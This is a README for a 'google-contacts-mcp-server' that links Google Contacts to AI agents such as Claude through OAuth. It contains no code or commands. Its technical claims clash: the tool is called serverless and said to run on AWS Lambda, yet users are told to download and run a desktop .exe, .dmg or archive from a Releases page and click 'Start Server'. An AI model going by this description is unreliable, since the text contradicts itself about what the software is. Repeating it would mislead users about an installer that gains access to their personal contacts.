🚀 google-contacts-mcp-server - Effortless Connection to Google Contacts

📖 Overview

The google-contacts-mcp-server is a serverless connector that allows you to access your Google Contacts securely. This tool uses the Model Context Protocol (MCP) to provide a seamless integration with AI agents and applications like Claude. With a focus on user privacy, this solution ensures that your data is not stored anywhere.

🚀 Getting Started

Follow these steps to download and set up the google-contacts-mcp-server on your device.

🧑‍💻 Requirements

Before you start, make sure your system meets the following requirements:

• Operating System: Windows 10 or later, macOS Mojave or later, or a compatible Linux distribution.
• Node.js: Version 12 or above. You can download it from Node.js official website.
• Browser: This application will require a modern web browser for OAuth authentication. Chrome, Firefox, or Safari is recommended.

🔗 Download & Install

1. Visit the Releases Page: Go to the Releases page to find the latest version.

2. Download the Application: Click on the version you wish to download. The download will begin automatically.

3. Install the Application: Depending on your operating system:

   • Windows: Run the downloaded .exe file. Follow the instructions in the setup wizard to complete the installation.
   • macOS: Open the .dmg file and drag the application to your Applications folder.
   • Linux: Extract the .tar.gz file and follow the provided instructions in the README.

⚙️ Configuration

1. Open the Application: Launch the google-contacts-mcp-server.

2. Set Up OAuth 2.1: The first time you run the application, it will prompt you to set up OAuth authentication. You will need to log in with your Google account to grant access to your Contacts.

3. Create a Configuration File: The application needs a configuration file to store your settings. A sample configuration file will be generated upon initial launch. Modify it as needed to suit your preferences.

🔄 Running the Application

Once you've completed the installation and configuration:

1. Start the Server: Click on the “Start Server” button.

2. Access the API: You can now access Google Contacts through an API interface. To use it, provide the necessary permissions for your AI agents like Claude to interact with the Contacts API.

📑 User Guide

For detailed instructions and usage examples, refer to the user guide included in the application or visit our Documentation.

🛠️ Features

• Serverless Architecture: The application runs on AWS Lambda, allowing for efficient use of resources.
• Privacy-First Design: No contact data is stored, ensuring user privacy.
• Real-Time Access: Integrate AI agents such as Claude to interact with your Google Contacts instantly.
• Simple OAuth 2.1 Authentication: Gain access through a user-friendly authentication process.

🧑‍🔧 Troubleshooting

If you encounter any issues while installing or running the application, consider checking the following:

• Ensure that you have an active internet connection for OAuth authentication.
• Confirm that your operating system meets the specified requirements.
• Review any error messages carefully for guidance on what might be wrong.

You can also visit our Issues page for community support.

🤝 Contributing

We welcome contributions to help improve this project. If you have suggestions or find bugs, please feel free to submit an issue or a pull request.

✉️ Contact

For further inquiries or feedback, please reach out via the Contact page.

🔗 Additional Resources

• Google Contacts API Documentation
• AWS Lambda Documentation